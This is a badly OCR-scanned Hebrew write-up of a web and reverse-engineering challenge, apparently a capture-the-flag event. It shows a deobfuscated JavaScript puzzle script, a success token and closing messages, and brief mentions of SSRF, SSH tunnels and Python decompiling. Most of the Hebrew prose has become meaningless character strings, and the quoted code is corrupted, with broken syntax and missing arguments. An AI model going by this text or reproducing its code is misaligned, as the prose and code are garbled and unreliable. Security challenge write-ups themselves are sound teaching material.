console.log (decrypted.toString (CryptodS.enc.Utf8));

DON I0NA1) AT'YN INIX PPNV LTI 7w 530KB 109TIN 177 ,INIK Y9N N¥P 'Y Npw NN

javascript 7907 0T 1ITw JSfuck NMATva Nj7'wa) Obfuscated TIXn ' TiEn (807 17w npaTn

.(...T2A72 0'un 6 N1V

77221 nodejs NITYA yalzn DX XN (1I007¢) VINVI'RA DINXA NIX NAYD7 NIIFO NXP? TNNY
) I 1 I

NAW NIYN DY TN error 0'9TN VIYSI INIX 17 NW'D Node ,NdNKX TINA NNX NYIYN 101N 17Dy
.00 NI
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RXINN NN

TTI7N DX NDD beautify Ny NNR Q1w

var current = [];

function dispatch (r,
return r (t)

}

function scrmbl sid(r) {

var t = 2

for (i = 0; 1 < r.length; i++) t += String.fromCharCode (170 *
r.charCodeAt (1)) ;

return dispatch (current[4] t)
}
current [0] = window.console.log, current[l] = eval, current[2] = window.prompt,
current[3] = alert, current[4] = btoa, window.console.log = function (r) {

dispatch (current[0], )
}, eval = function (r) {

dispatch (current[0], )
}, prompt = function () {}, alert function (r) {

dispatch (current[3],
}, password = dispatch (current[2], ),

=== dispatch (current([4], password) *?

window.location = + scrmbl sid(sid)
dispatch (current[3], )

1N7W XnOo'oN NX N72'71 "1 b64-n NN 11NV

MN72'PY NN ATEINRY DNIR 10100

Success!

Well Donel

You have successfully finished all the challenges!

This is your final success token:
Mk50dWgzR1pIZ114Q2000G52TjI3MEVBZmVWYVDIyVS9zZIFUVmInNIJIRUJqTWdnND
IxcHptSXB4WGpEc1RUbWxIclJoTOQxVFVINzJWOThkTKFEMWcI9PQ==

please send your token and contact info to the following

A pleasure as always! Until next time___
M.

© It MW7 DA MANKN DX NTOW DKM
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ST echnoloqgi

AANKAN NIjzoni Did'o ni'

Web Application ,Reverse Engineering :An'n 2,020 D'MAINNA YT WATE TIKA AN D' NANKRND
TAY MANKNY DX INNTE [N 77N NI'9'Y90 NI7pn T .TIvI D'09"M70 NAMD ,Security

.D'wUnnwnn 2N7 np'7n nixa

IN 0T DX 7 W' IR "naT” e Rt nine ot Nim TR DYN NI L [IWRIN A7Un L, NyT?

-1 'OX77 WIN'Y? 0l At AT INNDY yIanY At TINA vyn NP7 SSRF-N DR NINYAY YAt M7 'R

.SSRF

11N 2N DR INYN DAY WUTNE MY YN DA AfE TN N 12D A wn A7vn
uncompyle NX Jamdi ,Shell NINd71 yal nityn? 1w nawn D SSH-n 7y AT NN owipn
NINYIN M7 D'tunnel 190N NIYY7? 1IX¥ D'NY DTAIVA DX D2NK .NNAVY NIWN 117100 AINKRD

12700 X7,170'0 7W NINNO'ON 7V NI7327 21an Nl NIfon

NIKT? TWON ,NT 27wa nvi10N2 MAC-n 7¢ NX'N NN D'WUO9NN DX IXX¥NY Easter Egg n'7nX

http://phazr.net :XIN 2270 ...|"WN .'wNN TN NIRRTV NZOYNNY 111970 NNAN] MY

NNUDNNO97 TN L,NINI DY DNNY UMY ANKD NAITA D QIY D 7vn i 'wen A7en
N'N DYUSH NN 1IM97 0T 7y a1wn? Da .RE niwy71 IDA-7 Y1977 2w X71 D'OIWO DMATA NpNT

.TnN1 TIRN

D' X .AX2N N1Yd MAaNKd At on NIXTT D'9¥NI1 MANKN DX IN97 1101 TINA 790 102

Nt 190N N |NNS NX 2IN271 MANKN DX 1INDY 1220 1IXY '9) NINDY7 MMNNN DX/ DNNY
©

Thank you for playing

It was a pleasure___
See you again next fime ;)

nITIn

TANKD [NN92 17 NTYW 2.1 W AW ,(Q) 7.X7 DTN

5T NINWIN 7w Easter Egg-n NN'NN 7V RV DTIN @
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